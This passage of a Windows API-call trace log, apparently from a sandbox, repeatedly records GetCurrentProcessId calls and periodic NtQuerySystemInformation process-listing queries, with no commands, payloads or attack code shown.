GetCurrentProcessId () returned 0xbf4 [0202.071] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.072] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.073] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.074] GetCurrentProcessId () returned 0xbf4 [0202.740] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1d048) returned 0x0 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.753] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.754] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.755] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0202.756] GetCurrentProcessId () returned 0xbf4 [0203.538] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1d098) returned 0x0 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.546] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.547] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.548] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0203.549] GetCurrentProcessId () returned 0xbf4 [0204.331] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ceb8) returned 0x0 [0204.333] GetCurrentProcessId () returned 0xbf4 [0204.333] GetCurrentProcessId () returned 0xbf4 [0204.333] GetCurrentProcessId () returned 0xbf4 [0204.333] GetCurrentProcessId () returned 0xbf4 [0204.333] GetCurrentProcessId () returned 0xbf4 [0204.333] GetCurrentProcessId () returned 0xbf4 [0204.333] GetCurrentProcessId () returned 0xbf4 [0204.333] GetCurrentProcessId () returned 0xbf4 [0204.333] GetCurrentProcessId () returned 0xbf4 [0204.333] GetCurrentProcessId () returned 0xbf4 [0204.333] GetCurrentProcessId () returned 0xbf4 [0204.333] GetCurrentProcessId () returned 0xbf4 [0204.334] GetCurrentProcessId () returned 0xbf4 [0204.334] GetCurrentProcessId () returned 0xbf4 [0204.334] GetCurrentProcessId () returned 0xbf4 [0204.334] GetCurrentProcessId () returned 0xbf4 [0204.334] GetCurrentProcessId () returned 0xbf4 [0204.334] GetCurrentProcessId () returned 0xbf4 [0204.334] GetCurrentProcessId () returned 0xbf4 [0204.334] GetCurrentProcessId () returned 0xbf4 [0204.334] GetCurrentProcessId () returned 0xbf4 [0204.334] GetCurrentProcessId () returned 0xbf4 [0204.334] GetCurrentProcessId () returned 0xbf4 [0204.334] GetCurrentProcessId () returned 0xbf4 [0204.334] GetCurrentProcessId () returned 0xbf4 [0204.334] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.335] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.336] GetCurrentProcessId () returned 0xbf4 [0204.337] GetCurrentProcessId () returned 0xbf4 [0204.337] GetCurrentProcessId () returned 0xbf4 [0204.337] GetCurrentProcessId () returned 0xbf4 [0204.337] GetCurrentProcessId () returned 0xbf4 [0204.337] GetCurrentProcessId () returned 0xbf4 [0204.337] GetCurrentProcessId () returned 0xbf4 [0204.337] GetCurrentProcessId () returned 0xbf4 [0204.337] GetCurrentProcessId () returned 0xbf4 [0204.337] GetCurrentProcessId () returned 0xbf4 [0204.337] GetCurrentProcessId () returned 0xbf4 [0204.337] GetCurrentProcessId () returned 0xbf4 [0205.085] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cc70) returned 0x0 [0205.887] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cc70) returned 0x0 [0206.772] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cc70) returned 0x0 [0207.572] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cc70) returned 0x0 [0208.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ccc0) returned 0x0 [0208.997] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ccc0) returned 0x0 [0209.655] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cc70) returned 0x0 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.662] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.663] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.664] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0209.665] GetCurrentProcessId () returned 0xbf4 [0210.321] NtQuerySystemInformation (in: SystemInformationClass=0x5, 